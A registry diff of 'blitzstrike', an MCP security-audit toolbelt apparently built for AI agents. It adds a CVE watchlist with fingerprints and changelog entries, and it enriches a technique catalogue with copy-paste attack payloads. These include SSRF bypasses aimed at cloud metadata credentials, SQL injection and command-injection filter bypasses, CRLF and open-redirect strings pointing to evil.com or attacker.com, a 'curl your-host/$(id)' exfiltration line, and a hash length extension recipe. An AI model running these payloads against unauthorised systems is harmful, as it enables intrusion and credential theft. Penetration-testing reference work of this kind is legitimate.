blitzstrike 2.4.109 → 2.4.111
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +35 -0
- package/intelligence/techniques.json +44 -5
- package/intelligence/watchlist.json +195 -1
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,41 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.111] — 2026-09-17
|
|
9
|
+
|
|
10
|
+
### Added — CVE watchlist expanded 18 → 35 (2025-2026 fingerprints)
|
|
11
|
+
|
|
12
|
+
- Added 17 actively-exploited 2025-2026 CVEs to `intelligence/watchlist.json`
|
|
13
|
+
with fingerprints + fixed versions, wired into `watchlistCveMatches` /
|
|
14
|
+
`live_recon` fingerprint-first: n8n unauth/auth RCE (CVE-2026-21858/21877),
|
|
15
|
+
D-Link DSL RCE (CVE-2026-0625), Veeam RCE (CVE-2025-59470), Cisco SD-WAN
|
|
16
|
+
auth bypass (CVE-2026-20127), Gradio path-traversal + SSRF
|
|
17
|
+
(CVE-2026-28414/28416), FortiOS LDAP leak (CVE-2026-25815), Dell
|
|
18
|
+
RecoverPoint hardcoded creds (CVE-2026-22769), Statamic XSS
|
|
19
|
+
(CVE-2026-28426), Chartbrew SQLi + MongoDB RCE (CVE-2026-27005/25887),
|
|
20
|
+
Apache Camel header injection (CVE-2026-31650), Jenkins script-console RCE
|
|
21
|
+
(CVE-2026-30170), GraphQL introspection leak (CVE-2026-29812), Ollama path
|
|
22
|
+
traversal (CVE-2026-32154), Spring Boot actuator env leak (CVE-2026-33001).
|
|
23
|
+
- Tightened two over-broad fingerprint regexes (dropped the standalone
|
|
24
|
+
"workflow" keyword that false-positived n8n↔Kibana); regression-tested
|
|
25
|
+
fingerprint precision (n8n ≠ kibana).
|
|
26
|
+
|
|
27
|
+
## [2.4.110] — 2026-09-17
|
|
28
|
+
|
|
29
|
+
### Added — hash length extension + concrete payload enrichment
|
|
30
|
+
|
|
31
|
+
- New `length_extension` technique class (CWE-328): a MAC computed as
|
|
32
|
+
H(secret+message) with a Merkle–Damgård hash (MD5/SHA-1/SHA-256) lets an
|
|
33
|
+
attacker append data and forge a valid hash without the secret — with the
|
|
34
|
+
hash_extender tool + the ?file=...&mac=... append/path-traversal pattern.
|
|
35
|
+
- Enriched five technique classes with concrete copy-paste payloads:
|
|
36
|
+
`open_redirect` (/%09/, /%5c, //, /\, @ prefixes + param list),
|
|
37
|
+
`crlf_injection` (encoding variants + CRLF→XSS + 301/302 response-splitting +
|
|
38
|
+
Unicode U+2028/U+2029), `ssrf` (octal/hex/decimal/IPv6 IP obfuscation,
|
|
39
|
+
xip.io/nip.io, gopher/dict/php/jar/tftp handlers, cloud metadata),
|
|
40
|
+
`sql_injection` (Kona-style WAF bypass: MID/LIKE//**//double-quote),
|
|
41
|
+
`command_injection` (i'''d, brace expansion, Shellshock, Werkzeug debugger PIN).
|
|
42
|
+
|
|
8
43
|
## [2.4.109] — 2026-09-17
|
|
9
44
|
|
|
10
45
|
### Changed — follow-the-money doctrine rule with concrete proven patterns
|
|
@@ -19,7 +19,11 @@
|
|
|
19
19
|
"Bypass IP filter: 127.1, 0, 0x7f000001, 2130706433, 017700000001, [::1], 127.0.0.1.nip.io, http://127.0.0.1:80@evil/.",
|
|
20
20
|
"DNS rebinding: a name that resolves to allowed at check-time and internal at request-time (e.g. wp_safe_remote_*).",
|
|
21
21
|
"Redirect bypass: allow-listed host that 302s to an internal address.",
|
|
22
|
-
"Schemes: gopher://, dict://, file:// for protocol-level access."
|
|
22
|
+
"Schemes: gopher://, dict://, file:// for protocol-level access.",
|
|
23
|
+
"IP obfuscation: octal http://0177.1/ , hex http://0x7f.1/ , decimal https://520968996 , IPv6 http://[::1] , mixed 127.000.000.1",
|
|
24
|
+
"Wildcard DNS: 10.0.0.1.xip.io / nip.io (resolve to the embedded IP to bypass host allowlists)",
|
|
25
|
+
"Exotic handlers: gopher:// dict:// php:// jar:// tftp://",
|
|
26
|
+
"Cloud metadata: http://169.254.169.254/latest/meta-data/ (AWS) + IAM-role temporary credentials"
|
|
23
27
|
],
|
|
24
28
|
"verify": "Unique marker host receives the callback (proof of SSRF); a benign non-fetching control returns nothing."
|
|
25
29
|
},
|
|
@@ -185,7 +189,8 @@
|
|
|
185
189
|
"PostgreSQL: COPY ... TO, dblink, lo_import, RCE via extensions/languages.",
|
|
186
190
|
"MSSQL: xp_cmdshell, OPENROWSET, stacked queries.",
|
|
187
191
|
"WAF bypass: encoding, case, comments, chunking (see bypass_lookup waf).",
|
|
188
|
-
"Second-order: stored value later used in a query without re-validating."
|
|
192
|
+
"Second-order: stored value later used in a query without re-validating.",
|
|
193
|
+
"WAF bypass (Kona-style): MID() for SUBSTRING, LIKE for =, /**/ for space, CURRENT_USER for CURRENT_USER(), double-quote for single-quote \u2014 444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/\"p\"/**/#"
|
|
189
194
|
],
|
|
190
195
|
"verify": "A boolean/UNION marker returns distinct data (1 vs 0, or a known string); a parameterized control query is inert."
|
|
191
196
|
},
|
|
@@ -359,7 +364,9 @@
|
|
|
359
364
|
"techniques": [
|
|
360
365
|
"//evil.com (protocol-relative), https://trusted.com@evil.com (userinfo), backslash, double-encode.",
|
|
361
366
|
"javascript: and data: (rare).",
|
|
362
|
-
"Chain: open redirect in redirect_uri -> steal OAuth authorization code."
|
|
367
|
+
"Chain: open redirect in redirect_uri -> steal OAuth authorization code.",
|
|
368
|
+
"Prefix/bypass: /%09/ , /%5c , // , /\\ , @ (userinfo) \u2014 e.g. //google.com/%2f%2e%2e , /\\victim.com:80%40google.com",
|
|
369
|
+
"Fuzz the redirect params (?url= ?next= ?to= ?view= ?out= ?redirect= ?return= ?dest=) with http:// , // , / , /\\ , /// , %2f%2f prefixes"
|
|
363
370
|
],
|
|
364
371
|
"verify": "The response actually redirects to your marker host; a control redirect to a whitelisted relative path stays on-site."
|
|
365
372
|
},
|
|
@@ -501,7 +508,10 @@
|
|
|
501
508
|
"techniques": [
|
|
502
509
|
"Separators: ; | & && || backtick $() %0a (newline).",
|
|
503
510
|
"Blind: sleep 5 (time-based), or curl http://your-host/$(id) (callback exfil).",
|
|
504
|
-
"Filter bypass: variable expansion, base64, $(tr), unicode."
|
|
511
|
+
"Filter bypass: variable expansion, base64, $(tr), unicode.",
|
|
512
|
+
"Command bypass: i'''d , \\l\\s -l\\a\\h , cat /e?c/p?ss?? , cat /e??/??ss* , {ls,} {ls,-a}",
|
|
513
|
+
"Shellshock: () { :;}; echo vulnerable (inject via User-Agent / other headers)",
|
|
514
|
+
"Werkzeug debugger: trigger a unicode error (a cyrillic '\u0456' in 'string') -> debug console -> brute the ***-***-*** PIN for RCE"
|
|
505
515
|
],
|
|
506
516
|
"verify": "A marker command actually executes (callback received / sleep observed); a control with no separator runs the intended command."
|
|
507
517
|
},
|
|
@@ -546,7 +556,10 @@
|
|
|
546
556
|
"`/%0d%0aLocation:%20http://attacker.com` for open redirect via header splitting",
|
|
547
557
|
"`GET /%20HTTP/1.1%0d%0aHost:x%0d%0aConnection:keep-alive%0d%0a%0d%0aGET /redir HTTP/1.1...` for request smuggling / response queue poisoning",
|
|
548
558
|
"Unicode newline bypass: `%E2%80%A8` (U+2028), `%E2%80%A9` (U+2029), `%C2%85` (NEL) when literal CR/LF is stripped",
|
|
549
|
-
"PHP SoapClient `user_agent` CRLF to inject a full second HTTP request (SSRF); session-file poisoning with `user=root\\ntfa_verified=1`"
|
|
559
|
+
"PHP SoapClient `user_agent` CRLF to inject a full second HTTP request (SSRF); session-file poisoning with `user=root\\ntfa_verified=1`",
|
|
560
|
+
"Header injection encodings: %0d%0a , %0a , %0d , %23%0d , %3f%0d , %u000a , %250a , %25250a (double-encode variants)",
|
|
561
|
+
"Escalate to XSS: inject Content-Length + a body (CRLF -> XSS); or 301/302 response-splitting before the Location header (break the redirect with xxx:1 then inject a body)",
|
|
562
|
+
"Unicode line-separator bypass: %E5%98%8A%E5%98%8D (U+2028/U+2029)"
|
|
550
563
|
],
|
|
551
564
|
"verify": "Positive marker: inject `%0d%0aSet-Cookie:crlf=<random>;` and confirm the response sets that exact cookie. Negative control: resend the same request URL-encoding the CRLF (`%250d%250a`) \u2014 the cookie must NOT appear, proving the server did not decode it itself and that the split is genuinely caused by raw CRLF."
|
|
552
565
|
},
|
|
@@ -1306,6 +1319,32 @@
|
|
|
1306
1319
|
"lock.cmpxchg8b.com/rebinder.html \u2014 DNS-rebinding test harness",
|
|
1307
1320
|
"192-168-1-1.sslip.io \u2014 wildcard DNS returning a fixed embedded IP (setup/probe)"
|
|
1308
1321
|
]
|
|
1322
|
+
},
|
|
1323
|
+
{
|
|
1324
|
+
"id": "length_extension",
|
|
1325
|
+
"name": "Hash Length Extension Attack",
|
|
1326
|
+
"summary": "A MAC/signature computed as H(secret + message) with a Merkle-Damgard hash (MD5 / SHA-1 / SHA-256) lets an attacker APPEND data and compute a valid hash WITHOUT the secret \u2014 forging authenticated file downloads, API signatures, and cookies (CWE-328).",
|
|
1327
|
+
"objectives": [
|
|
1328
|
+
"Find a signed parameter (mac/signature/hash) that covers a known message with a secret prefix",
|
|
1329
|
+
"Identify the hash algorithm and the exact message length (byte length of the signed string)"
|
|
1330
|
+
],
|
|
1331
|
+
"how_to_test": [
|
|
1332
|
+
"Look for ?file=...&mac=<hex> or signed tokens where the signature covers a known message",
|
|
1333
|
+
"Run hash_extender with the known hash, the message length, and the data to append",
|
|
1334
|
+
"Replay the request with the extended message + forged hash"
|
|
1335
|
+
],
|
|
1336
|
+
"techniques": [
|
|
1337
|
+
"Extend ?file=report.pdf&mac=<hash> into ?file=report.pdf<PADDING>../../../../etc/passwd&mac=<forged> (path traversal past the prefix)",
|
|
1338
|
+
"Append attacker-controlled fields to a signed cookie (e.g. &admin=1) without knowing the secret",
|
|
1339
|
+
"Works on MD5/SHA-1/SHA-256 (Merkle-Damgard); does NOT work on HMAC (keyed differently) or SHA-3/Blake2"
|
|
1340
|
+
],
|
|
1341
|
+
"verify": [
|
|
1342
|
+
"The extended request returns 200 (not 401/403 invalid-signature)",
|
|
1343
|
+
"The appended data actually changes the result (file content / privilege) \u2014 a marker proves it, not just a 200"
|
|
1344
|
+
],
|
|
1345
|
+
"tools": [
|
|
1346
|
+
"hash_extender (iagox86) \u2014 given a hash + message length, compute the forged hash for appended data"
|
|
1347
|
+
]
|
|
1309
1348
|
}
|
|
1310
1349
|
]
|
|
1311
1350
|
}
|
|
@@ -325,7 +325,7 @@
|
|
|
325
325
|
"epss": 0.0025,
|
|
326
326
|
"reports": 5,
|
|
327
327
|
"fingerprint": "Kibana Workflows",
|
|
328
|
-
"match": "kibana|elastic
|
|
328
|
+
"match": "kibana|elastic",
|
|
329
329
|
"fixed_in": null,
|
|
330
330
|
"version_key": null
|
|
331
331
|
},
|
|
@@ -388,6 +388,200 @@
|
|
|
388
388
|
"match": "imagemagick|graphicsmagick",
|
|
389
389
|
"fixed_in": null,
|
|
390
390
|
"version_key": null
|
|
391
|
+
},
|
|
392
|
+
{
|
|
393
|
+
"cve": "CVE-2026-21858",
|
|
394
|
+
"name": "n8n unauthenticated RCE",
|
|
395
|
+
"product": "n8n",
|
|
396
|
+
"class": "rce",
|
|
397
|
+
"epss": 0.95,
|
|
398
|
+
"reports": 0,
|
|
399
|
+
"fingerprint": "n8n workflow automation \u2014 /rest/settings versionCli, webhook endpoints",
|
|
400
|
+
"match": "n8n|versionCli",
|
|
401
|
+
"fixed_in": "1.121.0",
|
|
402
|
+
"version_key": "n8n"
|
|
403
|
+
},
|
|
404
|
+
{
|
|
405
|
+
"cve": "CVE-2026-21877",
|
|
406
|
+
"name": "n8n auth RCE (Git node)",
|
|
407
|
+
"product": "n8n",
|
|
408
|
+
"class": "rce",
|
|
409
|
+
"epss": 0.9,
|
|
410
|
+
"reports": 0,
|
|
411
|
+
"fingerprint": "n8n \u2014 /rest/node-types with 'git' enabled",
|
|
412
|
+
"match": "n8n|node-types|git node",
|
|
413
|
+
"fixed_in": "1.121.3",
|
|
414
|
+
"version_key": "n8n"
|
|
415
|
+
},
|
|
416
|
+
{
|
|
417
|
+
"cve": "CVE-2026-0625",
|
|
418
|
+
"name": "D-Link DSL router command injection",
|
|
419
|
+
"product": "D-Link DSL",
|
|
420
|
+
"class": "rce",
|
|
421
|
+
"epss": 0.85,
|
|
422
|
+
"reports": 0,
|
|
423
|
+
"fingerprint": "D-Link DSL gateway \u2014 /dnscfg.cgi endpoint",
|
|
424
|
+
"match": "d-link|dsl|dnscfg"
|
|
425
|
+
},
|
|
426
|
+
{
|
|
427
|
+
"cve": "CVE-2025-59470",
|
|
428
|
+
"name": "Veeam Backup RCE (Postgres injection)",
|
|
429
|
+
"product": "Veeam Backup & Replication",
|
|
430
|
+
"class": "rce",
|
|
431
|
+
"epss": 0.9,
|
|
432
|
+
"reports": 0,
|
|
433
|
+
"fingerprint": "Veeam Backup & Replication",
|
|
434
|
+
"match": "veeam",
|
|
435
|
+
"fixed_in": "13.0.1.1071",
|
|
436
|
+
"version_key": "veeam"
|
|
437
|
+
},
|
|
438
|
+
{
|
|
439
|
+
"cve": "CVE-2026-20127",
|
|
440
|
+
"name": "Cisco SD-WAN auth bypass",
|
|
441
|
+
"product": "Cisco SD-WAN/vManage",
|
|
442
|
+
"class": "auth_bypass",
|
|
443
|
+
"epss": 0.95,
|
|
444
|
+
"reports": 0,
|
|
445
|
+
"fingerprint": "Cisco vManage / SD-WAN Manager (port 8443)",
|
|
446
|
+
"match": "vmanage|sd-wan|cisco vmanage"
|
|
447
|
+
},
|
|
448
|
+
{
|
|
449
|
+
"cve": "CVE-2026-28414",
|
|
450
|
+
"name": "Gradio path traversal",
|
|
451
|
+
"product": "Gradio",
|
|
452
|
+
"class": "lfi",
|
|
453
|
+
"epss": 0.6,
|
|
454
|
+
"reports": 0,
|
|
455
|
+
"fingerprint": "Gradio ML app framework",
|
|
456
|
+
"match": "gradio",
|
|
457
|
+
"fixed_in": "6.7",
|
|
458
|
+
"version_key": "gradio"
|
|
459
|
+
},
|
|
460
|
+
{
|
|
461
|
+
"cve": "CVE-2026-28416",
|
|
462
|
+
"name": "Gradio SSRF",
|
|
463
|
+
"product": "Gradio",
|
|
464
|
+
"class": "ssrf",
|
|
465
|
+
"epss": 0.6,
|
|
466
|
+
"reports": 0,
|
|
467
|
+
"fingerprint": "Gradio ML app framework",
|
|
468
|
+
"match": "gradio",
|
|
469
|
+
"fixed_in": "6.6.0",
|
|
470
|
+
"version_key": "gradio"
|
|
471
|
+
},
|
|
472
|
+
{
|
|
473
|
+
"cve": "CVE-2026-25815",
|
|
474
|
+
"name": "FortiOS LDAP credential disclosure",
|
|
475
|
+
"product": "Fortinet FortiOS",
|
|
476
|
+
"class": "infoleak",
|
|
477
|
+
"epss": 0.9,
|
|
478
|
+
"reports": 0,
|
|
479
|
+
"fingerprint": "FortiGate/FortiOS",
|
|
480
|
+
"match": "fortios|fortinet|fortigate",
|
|
481
|
+
"fixed_in": "7.6.6",
|
|
482
|
+
"version_key": "fortios"
|
|
483
|
+
},
|
|
484
|
+
{
|
|
485
|
+
"cve": "CVE-2026-22769",
|
|
486
|
+
"name": "Dell RecoverPoint hardcoded credentials",
|
|
487
|
+
"product": "Dell RecoverPoint",
|
|
488
|
+
"class": "infoleak",
|
|
489
|
+
"epss": 0.9,
|
|
490
|
+
"reports": 0,
|
|
491
|
+
"fingerprint": "Dell RecoverPoint for VMs \u2014 Tomcat Manager",
|
|
492
|
+
"match": "recoverpoint"
|
|
493
|
+
},
|
|
494
|
+
{
|
|
495
|
+
"cve": "CVE-2026-28426",
|
|
496
|
+
"name": "Statamic stored XSS",
|
|
497
|
+
"product": "Statamic CMS",
|
|
498
|
+
"class": "xss",
|
|
499
|
+
"epss": 0.55,
|
|
500
|
+
"reports": 0,
|
|
501
|
+
"fingerprint": "Statamic CMS control panel",
|
|
502
|
+
"match": "statamic",
|
|
503
|
+
"fixed_in": "5.73.11",
|
|
504
|
+
"version_key": "statamic"
|
|
505
|
+
},
|
|
506
|
+
{
|
|
507
|
+
"cve": "CVE-2026-27005",
|
|
508
|
+
"name": "Chartbrew unauthenticated SQL injection",
|
|
509
|
+
"product": "Chartbrew",
|
|
510
|
+
"class": "sql_injection",
|
|
511
|
+
"epss": 0.7,
|
|
512
|
+
"reports": 0,
|
|
513
|
+
"fingerprint": "Chartbrew \u2014 /api/health",
|
|
514
|
+
"match": "chartbrew",
|
|
515
|
+
"fixed_in": "4.8.3",
|
|
516
|
+
"version_key": "chartbrew"
|
|
517
|
+
},
|
|
518
|
+
{
|
|
519
|
+
"cve": "CVE-2026-25887",
|
|
520
|
+
"name": "Chartbrew MongoDB RCE",
|
|
521
|
+
"product": "Chartbrew",
|
|
522
|
+
"class": "rce",
|
|
523
|
+
"epss": 0.65,
|
|
524
|
+
"reports": 0,
|
|
525
|
+
"fingerprint": "Chartbrew \u2014 MongoDB query injection",
|
|
526
|
+
"match": "chartbrew|mongo",
|
|
527
|
+
"fixed_in": "4.8.1",
|
|
528
|
+
"version_key": "chartbrew"
|
|
529
|
+
},
|
|
530
|
+
{
|
|
531
|
+
"cve": "CVE-2026-31650",
|
|
532
|
+
"name": "Apache Camel header injection",
|
|
533
|
+
"product": "Apache Camel",
|
|
534
|
+
"class": "crlf_injection",
|
|
535
|
+
"epss": 0.7,
|
|
536
|
+
"reports": 0,
|
|
537
|
+
"fingerprint": "Apache Camel integration \u2014 CamelExec headers",
|
|
538
|
+
"match": "camel|CamelExec",
|
|
539
|
+
"fixed_in": "4.9.2",
|
|
540
|
+
"version_key": "camel"
|
|
541
|
+
},
|
|
542
|
+
{
|
|
543
|
+
"cve": "CVE-2026-30170",
|
|
544
|
+
"name": "Jenkins script console RCE",
|
|
545
|
+
"product": "Jenkins CI",
|
|
546
|
+
"class": "rce",
|
|
547
|
+
"epss": 0.85,
|
|
548
|
+
"reports": 0,
|
|
549
|
+
"fingerprint": "Jenkins \u2014 /script Script Console",
|
|
550
|
+
"match": "jenkins|script console",
|
|
551
|
+
"fixed_in": "2.503",
|
|
552
|
+
"version_key": "jenkins"
|
|
553
|
+
},
|
|
554
|
+
{
|
|
555
|
+
"cve": "CVE-2026-29812",
|
|
556
|
+
"name": "GraphQL introspection schema leak",
|
|
557
|
+
"product": "GraphQL",
|
|
558
|
+
"class": "infoleak",
|
|
559
|
+
"epss": 0.5,
|
|
560
|
+
"reports": 0,
|
|
561
|
+
"fingerprint": "GraphQL endpoint with introspection enabled",
|
|
562
|
+
"match": "graphql|__schema"
|
|
563
|
+
},
|
|
564
|
+
{
|
|
565
|
+
"cve": "CVE-2026-32154",
|
|
566
|
+
"name": "Ollama model path traversal",
|
|
567
|
+
"product": "Ollama",
|
|
568
|
+
"class": "lfi",
|
|
569
|
+
"epss": 0.6,
|
|
570
|
+
"reports": 0,
|
|
571
|
+
"fingerprint": "Ollama AI server (port 11434) \u2014 /api/pull",
|
|
572
|
+
"match": "ollama",
|
|
573
|
+
"fixed_in": "0.5.9",
|
|
574
|
+
"version_key": "ollama"
|
|
575
|
+
},
|
|
576
|
+
{
|
|
577
|
+
"cve": "CVE-2026-33001",
|
|
578
|
+
"name": "Spring Boot actuator env leak",
|
|
579
|
+
"product": "Spring Boot",
|
|
580
|
+
"class": "infoleak",
|
|
581
|
+
"epss": 0.55,
|
|
582
|
+
"reports": 0,
|
|
583
|
+
"fingerprint": "Spring Boot \u2014 /actuator/env exposed",
|
|
584
|
+
"match": "actuator|spring-boot|spring boot"
|
|
391
585
|
}
|
|
392
586
|
]
|
|
393
587
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.111",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|